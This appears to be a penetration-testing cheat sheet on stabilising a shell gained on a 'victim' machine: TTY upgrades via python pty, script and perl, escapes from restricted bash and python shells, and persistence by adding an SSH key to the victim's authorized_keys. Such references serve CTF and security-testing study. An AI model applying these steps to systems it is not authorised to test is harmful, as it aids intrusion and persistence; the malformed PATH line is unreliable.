Skip to content

Shell Upgrades

Enable tab and autocompletion

Send victim shell to background
ctrl+z
stty raw -echo;fg;
Bring process back
fg

Format shell size if formatting is bad

Check rows # and columns # on kali box, in a pane the same size as the victim shell.
stty -a
Set rows and cols on victim shell
stty rows <#> cols <#>

TTY Upgrade

Check for TTY
tty
sudo -i
Python
python -c "import pty;pty.spawn('/bin/bash');"
python3 -c "import pty;pty.spawn('/bin/bash');"
script command
script /dev/null -c bash
Perl
perl -e 'exec "/bin/sh";'

Enable "clear" command

export TERM=xterm

Setting PATH variable

export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin/usr/bin:/sbin:/binusr/local/sbin:/usr/local/bin:/usr/sbin:

Break out of rbash

Method 1
ssh <username>@<ip address> -t "bash --noprofile"
Method 2
ed
!'/bin/bash'

Break out of python shell

import os
os.system("bash");

Setup SSH access

Add public key to ~/.ssh/authorized_keys and then reconnect to the victim box using SSH if possible.